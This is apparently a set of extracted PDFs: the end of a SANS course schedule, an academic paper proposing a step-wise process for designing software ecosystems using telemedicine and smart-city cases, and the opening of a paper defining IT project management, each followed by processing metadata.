<td>Live Online - SEC504: Hacker Tools, Techniques, Exploits and Incident Handling</td>
<td>United Arab Emirates</td>
<td>May 04, 2020 - Jun 10, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>May 4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Live Online - SEC560: Network Penetration Testing and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>May 05, 2020 - Jun 11, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Hong Kong SE Asia Live Online 2020</td>
<td>Hong Kong, Hong Kong</td>
<td>May 11, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Security West 2020</td>
<td>San Diego, CA</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Autumn Australia Live Online 2020</td>
<td>Sydney, Australia</td>
<td>May 18, 2020 - May 29, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Live Online - SEC560: Network Penetration Testing and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>May 18, 2020 - Jun 06, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling</td>
<td>United Arab Emirates</td>
<td>May 19, 2020 - Jun 06, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - SEC660: Advanced Penetration Testing, Exploit Writing, and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>May 26, 2020 - Jul 02, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>2-Day Firehose Training</td>
<td>May 26</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Career Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Canadians Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>CS Cybersecure Catalyst Women Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jun 1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Rocky Mountain HackFest Summit & Training 2020</td>
<td>Virtual - US Mountain,</td>
<td>Jun 04, 2020 - Jun 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANSFIRE 2020</td>
<td>DC</td>
<td>Jun 13, 2020 - Jun 20, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jun 22</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Cyber Defence Australia Online 2020</td>
<td>Australia</td>
<td>Jun 22, 2020 - Jul 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Japan Live Online July 2020</td>
<td>Japan</td>
<td>Jun 29, 2020 - Jul 11, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>2-Day Firehose Training</td>
<td>Jul 1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Live Online - SEC660: Advanced Penetration Testing, Exploit Writing, and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>Jul 06, 2020 - Aug 12, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jul 6</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
|
{"Source-Url": "https://pen-testing.sans.org/resources/papers/gwapt/tips-scripts-reconnaissance-scanning-125890", "len_cl100k_base": 5504, "olmocr-version": "0.1.53", "pdf-total-pages": 18, "total-fallback-pages": 0, "total-input-tokens": 34151, "total-output-tokens": 7330, "length": "2e12", "weborganizer": {"__label__adult": 0.0007877349853515625, "__label__art_design": 0.0005278587341308594, "__label__crime_law": 0.0127105712890625, "__label__education_jobs": 0.001239776611328125, "__label__entertainment": 0.0002206563949584961, "__label__fashion_beauty": 0.00030875205993652344, "__label__finance_business": 0.0004391670227050781, "__label__food_dining": 0.00043320655822753906, "__label__games": 0.0019092559814453125, "__label__hardware": 0.0037899017333984375, "__label__health": 0.0006432533264160156, "__label__history": 0.0003819465637207031, "__label__home_hobbies": 0.0001729726791381836, "__label__industrial": 0.0008983612060546875, "__label__literature": 0.0003361701965332031, "__label__politics": 0.0005655288696289062, "__label__religion": 0.0005612373352050781, "__label__science_tech": 0.0689697265625, "__label__social_life": 0.0002036094665527344, "__label__software": 0.111083984375, "__label__software_dev": 0.79248046875, "__label__sports_fitness": 0.0005974769592285156, "__label__transportation": 0.0004243850708007813, "__label__travel": 0.00023674964904785156}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 25677, 0.03215]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 25677, 0.25191]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 25677, 0.72878]], "google_gemma-3-12b-it_contains_pii": [[0, 305, false], [305, 1131, null], [1131, 2300, null], [2300, 3333, null], [3333, 4849, null], [4849, 6665, null], [6665, 7378, null], [7378, 8329, null], [8329, 8824, null], [8824, 10773, null], [10773, 12478, null], [12478, 14763, null], [14763, 16273, null], [16273, 18030, null], [18030, 19332, null], [19332, 21164, null], [21164, 21582, null], [21582, 25677, null]], "google_gemma-3-12b-it_is_public_document": [[0, 305, true], [305, 1131, null], [1131, 2300, null], [2300, 3333, null], [3333, 4849, null], [4849, 6665, null], [6665, 7378, null], [7378, 8329, null], [8329, 8824, null], [8824, 10773, null], [10773, 12478, null], [12478, 14763, null], [14763, 16273, null], [16273, 18030, null], [18030, 19332, null], [19332, 21164, null], [21164, 21582, null], [21582, 25677, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 25677, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 25677, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 25677, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 25677, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 25677, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 25677, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 25677, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 25677, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 25677, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 25677, null]], "pdf_page_numbers": [[0, 305, 1], [305, 1131, 2], [1131, 2300, 3], [2300, 3333, 4], [3333, 4849, 5], [4849, 6665, 6], [6665, 7378, 7], [7378, 8329, 8], [8329, 8824, 9], [8824, 10773, 10], [10773, 12478, 11], [12478, 14763, 12], [14763, 16273, 13], [16273, 18030, 14], [18030, 19332, 15], [19332, 21164, 16], [21164, 21582, 17], [21582, 25677, 18]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 25677, 0.1082]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
66910b3585b4a1ed1fe66df2cfa1d6e5e4280821
|
Designing, developing, and implementing software ecosystems
Manikas, Konstantinos; Hämäläinen, Mervi; Tyrväinen, Pasi
Published in:
Proceedings of the 8th Workshop on Software Ecosystems
Publication date:
2017
Document Version
Publisher's PDF, also known as Version of record
Citation for published version (APA):
Designing, Developing, and Implementing Software Ecosystems: Towards a Step-wise Guide.
Konstantinos Manikas$^{1,3}$, Mervi Hämäläinen$^2$, and Pasi Tyrväinen$^2$
$^1$ Department of Computer Science
University of Copenhagen, Denmark
k@manikas.dk
$^2$ Agora Center
University of Jyväskylä, Finland
[Mervi.A.Hamalainen,Pasi.Tyrvainen]@jyu.fi
$^3$ DHI Group
Hørsholm, Denmark
Abstract. The notion of software ecosystems has been popular both in research and industry for more than a decade, but how software ecosystems are created still remains unclear. This becomes more of a challenge if one examines the “creation” of ecosystems that have high probability in surviving in the future, i.e. with respect to ecosystem health.
In this paper, we focus on the creation of software ecosystems and propose a process for designing, developing, and establishing software ecosystems based on three basic steps and a set of activities for each step. We note that software ecosystem research identifies that ecosystems typically emerge from either a company deciding to allow development on their product platform or from a successful open source project. In our study we add to this knowledge by demonstrating, through two case studies, that ecosystems can emerge from more than a technological infrastructure (platform). We identify that ecosystems can emerge out of two more distinct types of environments and thus the design should be based on the characteristics of this categorization.
Moreover, we follow the approach that design, development, and establishment are not three distinct phases but rather aspects of a single re-iterating phase and thus propose the view of design, development, and establishment as a continous process, running in parallel with and interrelated to the monitoring of the ecosystem evolution.
Key words: software ecosystems; software ecosystem design; software ecosystem health
1 Introduction
The notion of software ecosystems is argued to provide clear advantages compared to traditional software development and distribution as it, among other, accelerates software development, reduces time to market, and increases user and
customer segment reachability. It is not a surprise that within the recent years we have experienced an increasing popularity of software ecosystems both as a topic of study and as a means of developing and distributing software (products). Despite the popularity, it is still very challenging to create software ecosystems, especially if one should take into consideration aspects of ecosystem survivability, productivity, or health. Few studies have been investigating the conditions of establishment of a software ecosystems and even fewer propose ways of designing software ecosystems. However, this kind of studies tend to either be too specific for a type of ecosystem and thus hard to generalize, or too generic and thus hard to apply. Remarks that are already identified in the most recent and extensive systematic literature review [10], reviewing a total of 231 academic publications studying 129 software ecosystems.
Contemporary public discussion on software ecosystems is much driven by the most visible players in the digital economy, the platforms and app stores of Apple and Google being the usual examples in the discussion. Among the practitioners, this has lead to a platform-centric view of ecosystem thinking where a platform provider is needed to orchestrate an ecosystem. Further, the terms platform and ecosystem are closely connected if not treated almost as synonyms. However, the literature has presented a variety of ecosystems and value networks beyond the platform-centric approach, such as ecosystems build around standards, common business and commonly adopted infrastructure [8].
The limitations of platform-centric ecosystem thinking are, to some extent, visible also in our common thinking on how to build ecosystems. That is, we tend to think that the only way to build an ecosystem is to build a platform and attract participants to it by some means, typically by providing financial benefits to the participants. This underlying assumption may lead to ignorance of a wider view on how to build ecosystems as the viewpoints of actors in the value network and the value creation in the business domain are overlooked if not excluded totally from our thinking.
In this paper, we take the wider view to building ecosystems. We start our journey towards a method for building ecosystems from the observation that ecosystem can emerge out of three distinct types of environments and thus the design should be based on the characteristics of this categorization. We study two cases presenting an actor-rooted and a business-rooted approach to ecosystem building. Adding findings from the two cases to the infrastructure-rooted approach (including platform-centric approach) we propose a process for designing, developing, and establishing software ecosystems based on three basic steps and a set of activities for each step. Moreover, we follow the approach that design, development, and establishment are not three distinct phases, but rather aspects of a single re-iterating phase and thus propose the view of design, development, and establishment as a continuous process, running in parallel with and interrelated to the monitoring of the ecosystem evolution.
2 Background and related work
The field of software ecosystems has an activity that spreads through several years. From the first reference in the book of Messerschmitt and Szyperski [16] and the first publications in 2007, to the day, there have been several studies that have been examining software ecosystems as a whole and attempt to analyse, model, classify, or design software ecosystem. In this context Jansen et al. [7] proposed the analysis of software ecosystems from three perspective: software ecosystem level, software supply network level, and software vendor level.
Campbel and Ahmed [1] propose the analysis of software ecosystems into three components. Manikas and Hansen [14] analyse the literature of software ecosystems and identify, among other, a lack of consistency in what is a software ecosystem. They analyze the existing definitions and identify three main components: common software, business, and connecting relationships. Christensen et al. [3] propose the modellign and design of software ecosystems based on the concept of software ecosystem architecture consisted of three structures: organizational, business, and software. Knodel and Manikas [8] challenge the existing definition of software ecosystems and propose a set of building blocks for software ecosystems. Manikas and Hansen [13] focus on the concept of ecosystem health where they analyse the literature and propose a framework for defining ecosystem health. Hyrynsalmi et al. [6] expand on this work to include 38 papers on health, while Hansen and Manikas [5], inspired by natural ecosystems, focus on defining the influence of individual actors to the ecosystem.
3 The cases
In this section we discuss and analyze two cases of designing and building a software ecosystem. The first case is the telemedicine ecosystem established around the telemedicine services of the Danish healthcare and the second cases is the smart city ecosystem established around the smart city and Internet of Things (IoT) infrastructure and services in an area of one of the most populated cities in Finland.
3.1 Telemedical ecosystem
Danish healthcare, following the tendency in many other western countries, is facing a number of challenges due to changes in the demographics. The increase in life expectancy and decrease of birth-rate in combination with a rapid increase of lifestyle conditions and the continuously improving healthcare diagnosis and treatment are putting a pressure on the economics of a welfare-based\(^1\) and position the continuous care of the elderly and the chronically ill in even more central focus [9]. Telemedicine, comes as solution to these challenges. Telemedicine is understood as the provision of health through a distance. However, telemedial
\(^1\) I.e. funded indirectly by collected tax.
technologies are faced with severe integration and interoperability issues caused by the increasing need to interact with other medical system characterized as “silo” solutions and organizationally complex systems [2]. The establishment of a software ecosystem comes to address these technical challenges and abstract the development of telemedical solutions from the resource-heavy task of integration and distribution.
Thus, the establishment of the telemedical ecosystem deviates from the typical view of ecosystem emergence (i.e. from a successful platform or product). In this ecosystem, the design was motivated from a set of clear incentives. The state and healthcare authorities have been part of shaping and clarifying the incentives, however this kind of actors have not been otherwise active in the design and establishment of the ecosystem. Therefore, the ecosystem was, during design, characterized form the lack of orchestration. The steps taken to establish the ecosystem was2:
- Identify and map the existing (and future) actors, (software) systems and their relationships [12].
- Identify the incentives for the different actors and make them explicit [3].
- Build the infrastructure that will support the ecosystem.
### 3.2 Smart city ecosystem
The second case is the establishment of an ecosystem in the *smart city* domain. The contribution of the digital technologies is considered to form a foundation for so called smart cities. Smart cities are complex systems and consist of multiple domains like transportation, energy, living, and governance. Smart city domains utilize digital technologies by collecting and storing both private and public data. They increasingly release the public information and data sets for external parties. The idea behind releasing the public data sets is to provide a possibility for external stakeholders to develop and create smart applications and services for citizens. Naturally, an ecosystem would support and facilitate the actor and smart city service interaction. An example is the environment for agile software and internet of things product and service development and experimentation with real users (citizens) in real-world settings [4].
In this context, our case, an urban area in one of the ten most populated cities in Finland is on the process of establishing a *smart city ecosystem*. The ecosystem establishment process was initiated by a set of actors interested in the smart city domain. These actors created a consortium that aimed at promoting the interaction of digital and software services in collaboration with independent business models, i.e. an ecosystem. Purpose of the smart city ecosystem is to develop new applications and internet of things service solutions in collaboration with construction companies, smart grid providers, nursing houses, city governance, and citizens. The initial actors in the smart city ecosystem included representatives from universities and city as well as the stakeholders from private
---
2 A more detail description on this work can be found in [3, 9].
sector like the network service providers, telecommunications operators, smart locking service providers, and organizations in the privacy and digital identity domains. The citizens have central role in the smart city district. As an outcome of the smart city ecosystem, new applications and services are created to improve the quality of citizens’ every-day life and enhance the research and value creation of modern digital technology services in smart city domain. The process of establishing the ecosystem included the following steps:
- Identify and map ecosystem (to-be) actors.
- Define business aspects: actor incentives, value propositions, customer segments, and revenue streams.
- Build technological infrastructure (e.g. platform) to support the ecosystem.
4 Proposed approach
As noted, the two case studies are examples of ecosystem established by other than a common technological infrastructure (or platform). The telemedicine ecosystem is a business-rooted\textsuperscript{3}, while the smart city ecosystems is an actor rooted\textsuperscript{4}. These two cases contribute with different perspectives on how ecosystem are established. They add more parameters to the up-to-now knowledge of ecosystems being created by a successful or popular technological infrastructure (platform) \cite{10, 11, 14}.
Up to the current point and to the best of our knowledge of the field, there is no previous work suggesting an applicable and holistic or generic (i.e. applicable to most or all types of ecosystems) way of creating a software ecosystem. This is the gap that we are trying to address with this approach, as we argue that a method for designing ecosystems that is easy to apply and mature enough would support the maturity of the field both theoretically and empirically.
In our approach, we propose the view of ecosystem design, development, and establishment as one continuous and re-iterative phase rather than three distinct phases. In order to initiate this process, the basic information needs to be collected and the first initial designs need to be drawn. Thus, we identify three main steps in our process to conduct the necessary work for the iterative design. Figure 1 shows the proposed steps and the tasks included in each step. Our approach includes three main steps: pre-analysis, design, and evaluate & monitor. In the subsections bellow we describe these steps. Our approach has a strong focus on the ecosystem health, thus apart from the design, we support the view of continuous monitoring and evolution of the ecosystem making the separation between design and establishment unclear. This is reflected in step 3.
Furthermore, taking the approach demonstrated from our cases, we identify that ecosystem design can occur based on three different ecosystem types: infrastructure-rooted, where the ecosystem is established around a technological
\textsuperscript{3} I.e. initiated by strong actor incentives.
\textsuperscript{4} I.e. initiated by a set of actors to drive the ecosystem development.
Software Ecosystem Design
### Step 1: Pre-analysis
- **1.1 Domain**
- **1.2 Scope**
- **1.3 General principles**
- **1.4 Existing ecosystem aspects**
- Actors
- Technological infrastructure
- Business
### Step 2: Design
#### (a) Infrastructure (platform) rooted
- **2.1 Identify extension possibilities**
- **2.2 Define business**
- Incentives
- Value proposition
- For the actor
- For the ecosystem
- Customer segment
- Revenue stream
- **2.3 Map existing & new actors**
- **2.4 (Re) Define orchestrator strategy**
- **2.5 Open - extend infrastructure**
- **2.4 Involve actors**
#### (b) Actor rooted
- **2.1 Map actors**
- Actors
- Roles
- Contributions
- Interaction
- Among actors
- Actor to software
- **2.2 Define business**
- Incentives
- Value proposition
- For the actor
- For the ecosystem
- Customer segment
- Revenue stream
- Among actors
- Actor to software
- **2.3 Define/Identify orchestrator strategy**
- **2.4 Build technological infrastructure**
#### (c) Business rooted
- **2.1 Define business**
- Incentives
- Value proposition
- For the actor
- For the ecosystem
- Customer segment
- Revenue stream
- Among actors
- Actor to software
- **2.2 Map existing & new actors**
- **2.3 Define/Identify orchestrator strategy**
- **2.4 Build technological infrastructure**
### Step 3: Evaluate and monitor
- **3.1 Desired behavior**
- **3.2 Define ecosystem measures**
- **3.3 Define iteration/observation intervals**
- **3.4 Iterate ecosystem evaluation**
<table>
<thead>
<tr>
<th>Measure</th>
<th>Evaluate</th>
<th>Act</th>
</tr>
</thead>
</table>
**Fig. 1.** Ecosystem design steps.
infrastructure\textsuperscript{5}, \emph{actor-rooted}, where the establishment is around a strong actor consortium; and \emph{business-rooted}, where the ecosystem is established around a strong business (or incentives).
4.1 Step 1: Pre-analysis
The initial step for the design of a software ecosystem is to identify the general information and characteristics of the future ecosystem. This includes identifying the applied domain of the ecosystem, i.e. how is the domain defined and what are the general characteristics of this domain. Further, this step includes defining the scope of the ecosystem and marking the borders of what is considered part of the ecosystem. Moreover, this step includes identifying the general \textit{principles} of the ecosystem, i.e. core values and characteristics of the ecosystem that essential for the ecosystem \cite{15}. Finally, part of the pre-analysis step includes identifying what aspects of the future ecosystem already exist that can form the base for the future ecosystem. This step will define whether the ecosystem is actor, infrastructure, or business rooted in step 2.
4.2 Step 2: Design
If we examine how ecosystems are created, the most common way appearing in the literature is from a (software) company opening their platform to external actors or an open source software (OSS) project that is gaining popularity. Examining the existing ecosystems in the industry (or in the literature e.g. the list in \cite{10}), we note that this is not the only way that these ecosystem were established. Part of our proposed approach is to tailor the ecosystem design and establishment according to different aspects that exist in the domain of the future ecosystem. The above mentioned examples of OSS projects or companies opening the platform are examples of a \textit{infrastructure rooted} ecosystems-to-be, since they have the base of what cold eventually become the common technological infrastructure of the future ecosystem. Another category is the \textit{actor rooted}, that are ecosystems where there is a (strong) set or network of actors that can be form the core of the future ecosystem. Finally, there is also the \textit{business rooted}, where there is a existing business potential and incentives (not necessarily for and from many actors) that can be the main drivers to the establishment of an ecosystem. An example of this can be found from the literature on evolution of vertical software industries where ecosystems emerge around new standards and platforms to enable effective collaboration between businesses/enterprises \cite{17, 18}.Clearly, the steps towards designing and establishing an ecosystem are different depending on the already existing aspects. Sub-steps (a),(b), and (c) list the actions for each type.
\textsuperscript{5} Here using the approach of \cite{8}, we identify that an infrastructure can be apart from a platform, a standard or a protocol.
4.3 Step 3: Evaluate and monitor
Finally, as already explained, in our approach we propose the view of the design and development as a continuous and iterative process where software ecosystem design, development, and establishment are not distinct phases but rather part of one continuous and re-iterative phase. In order to achieve that, the ecosystem should be constantly monitored on its evolution and reaction to changes and potential deterioration should initiate new actions on the ecosystem architecture or orchestration. Thus, this step includes activities that focus on identifying what should be measured in the ecosystem to identify evolution and change in ecosystem health. After the measures are identified monitoring and evaluation activities will focus on (i) intervening in the operation of the ecosystem with changes and (ii) evaluating the effect of potential changes (as much as the whole design). It is essential to underline that identification of measures is an essential step as it defines the scope of action within the ecosystem. Too narrow measure might result in lack of overview of the whole ecosystem while not accurate or poorly defined measures might guide to wrong conclusions on the ecosystem activity and evolution.
5 Discussion
This paper aims at bringing focus to a central issue in the field of software ecosystem by proposing a method on designing ecosystems. Although generic and applicable, our method does not cover all the possible and potentially essential aspects in ecosystem design and evolution. One relevant aspect not adequately discussed is the orchestration of software ecosystems. The orchestration is central aspect in the health and evolution of an ecosystem and eventually the design of an ecosystem should include concrete considerations on the orchestration, in order to support the different characteristics of the ecosystem, its domain, and scope. Another relevant aspect is the establishment of the proper interfaces both technical and organizational. The different interfaces between the software components (e.g. in the common technological infrastructure) and between the different actors, should reflect the orchestration strategy of the ecosystem and respect the domain, boarders, and roles of the ecosystem and its actors.
Finally, as already discussed, the choice of the proper measures for monitoring the ecosystem is central to the evolution of the ecosystem towards the right direction. The monitored measures should also be influences as much as influence the ecosystem orchestration.
6 Conclusion and future work
In this work, we try to put focus on the gap in research and industry on how to “create” software ecosystems. Using our deep knowledge on software ecosystem literature and industry and experience from designing software ecosystem, we
Software ecosystem design guide.
propose a method for designing software ecosystems that is easy to use and applicable. Our method is consisted of three steps and a set of activities for each step.
We are currently empirically validating and improving this method. Further work includes the empirical evaluation and improvement with cases of each different type of design. Moreover, we plan to identify characteristics of the method for specific domains, i.e. how this “generic” method changes when applied to a domain with specific characteristics. It is our hope that this will be a first step towards a better informed and explicit design of software ecosystems and eventually further maturity in the field.
Acknowledgments
This work was partially conducted under the 5K\textsuperscript{6} project, co-funded from the TEKES foundation (all authors), and the SCAUT\textsuperscript{7} project, co-funded by Innovation Fund Denmark, grant #72-2014-1 (Manikas).
References
\textsuperscript{6} https://agoracenter.jyu.fi/projects/5k
\textsuperscript{7} http://www.scaut.dk/
|
{"Source-Url": "https://static-curis.ku.dk/portal/files/179276181/Manikas_2017_Designing_developing_and_implementing.pdf", "len_cl100k_base": 4563, "olmocr-version": "0.1.50", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 23874, "total-output-tokens": 6322, "length": "2e12", "weborganizer": {"__label__adult": 0.00034689903259277344, "__label__art_design": 0.0003750324249267578, "__label__crime_law": 0.0003001689910888672, "__label__education_jobs": 0.0008268356323242188, "__label__entertainment": 5.835294723510742e-05, "__label__fashion_beauty": 0.00011813640594482422, "__label__finance_business": 0.0003764629364013672, "__label__food_dining": 0.000293731689453125, "__label__games": 0.00045180320739746094, "__label__hardware": 0.0004324913024902344, "__label__health": 0.0004611015319824219, "__label__history": 0.00023281574249267575, "__label__home_hobbies": 5.733966827392578e-05, "__label__industrial": 0.0002213716506958008, "__label__literature": 0.00028228759765625, "__label__politics": 0.0002218484878540039, "__label__religion": 0.0002703666687011719, "__label__science_tech": 0.0108489990234375, "__label__social_life": 0.00010198354721069336, "__label__software": 0.006641387939453125, "__label__software_dev": 0.97607421875, "__label__sports_fitness": 0.00023615360260009768, "__label__transportation": 0.0003497600555419922, "__label__travel": 0.00018405914306640625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 27091, 0.03283]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 27091, 0.57902]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 27091, 0.88534]], "google_gemma-3-12b-it_contains_pii": [[0, 610, false], [610, 2769, null], [2769, 5967, null], [5967, 8780, null], [8780, 11860, null], [11860, 14899, null], [14899, 16531, null], [16531, 19471, null], [19471, 22297, null], [22297, 24931, null], [24931, 27091, null]], "google_gemma-3-12b-it_is_public_document": [[0, 610, true], [610, 2769, null], [2769, 5967, null], [5967, 8780, null], [8780, 11860, null], [11860, 14899, null], [14899, 16531, null], [16531, 19471, null], [19471, 22297, null], [22297, 24931, null], [24931, 27091, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 27091, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 27091, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 27091, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 27091, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 27091, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 27091, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 27091, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 27091, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 27091, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 27091, null]], "pdf_page_numbers": [[0, 610, 1], [610, 2769, 2], [2769, 5967, 3], [5967, 8780, 4], [8780, 11860, 5], [11860, 14899, 6], [14899, 16531, 7], [16531, 19471, 8], [19471, 22297, 9], [22297, 24931, 10], [24931, 27091, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 27091, 0.01242]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
a6591f644f75de5fcd8fba4764e6322914a36ac9
|
[REMOVED]
|
{"len_cl100k_base": 6110, "olmocr-version": "0.1.53", "pdf-total-pages": 6, "total-fallback-pages": 0, "total-input-tokens": 19842, "total-output-tokens": 8264, "length": "2e12", "weborganizer": {"__label__adult": 0.0002233982086181641, "__label__art_design": 0.0003230571746826172, "__label__crime_law": 0.0002636909484863281, "__label__education_jobs": 0.0017938613891601562, "__label__entertainment": 5.0187110900878906e-05, "__label__fashion_beauty": 0.00010842084884643556, "__label__finance_business": 0.0006985664367675781, "__label__food_dining": 0.0002601146697998047, "__label__games": 0.000316619873046875, "__label__hardware": 0.0008306503295898438, "__label__health": 0.0003600120544433594, "__label__history": 0.00022470951080322263, "__label__home_hobbies": 8.016824722290039e-05, "__label__industrial": 0.0004296302795410156, "__label__literature": 0.00021135807037353516, "__label__politics": 0.00019478797912597656, "__label__religion": 0.00027823448181152344, "__label__science_tech": 0.0298004150390625, "__label__social_life": 8.946657180786133e-05, "__label__software": 0.0172882080078125, "__label__software_dev": 0.9453125, "__label__sports_fitness": 0.00014448165893554688, "__label__transportation": 0.00038909912109375, "__label__travel": 0.00015592575073242188}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 36848, 0.02476]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 36848, 0.74023]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 36848, 0.92802]], "google_gemma-3-12b-it_contains_pii": [[0, 4026, false], [4026, 9389, null], [9389, 14550, null], [14550, 21334, null], [21334, 28390, null], [28390, 36848, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4026, true], [4026, 9389, null], [9389, 14550, null], [14550, 21334, null], [21334, 28390, null], [28390, 36848, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 36848, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 36848, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 36848, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 36848, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 36848, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 36848, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 36848, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 36848, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 36848, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 36848, null]], "pdf_page_numbers": [[0, 4026, 1], [4026, 9389, 2], [9389, 14550, 3], [14550, 21334, 4], [21334, 28390, 5], [28390, 36848, 6]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 36848, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
e4c30bded51d2625bbf5535b9aaa96b294f700d3
|
A Conceptual Definition of Information Technology Project Management: A Campaign-Driven Perspective
Simon Bourdeau
UQAM
bourdeau.s@uqam.ca
Shadi Shuraida
TELUQ University
shadi.shuraida@teluq.ca
Dragos Vieru
TELUQ University
dragos.vieru@teluq.ca
Abstract
Despite the importance of the project management phenomenon in information technology projects, the information technology project management (ITPM) concept lacks clarity and is narrowly defined. In this paper, we adopt a change management perspective to propose a multidimensional and configurable conceptualization of ITPM. More specifically, using a “campaign” metaphor, we identify twelve key underlying activities of ITPM, grouped under three dimensions, i.e., diplomatic, promotional, and martial, then position these activities within the organizational control theory framework.
1. Introduction
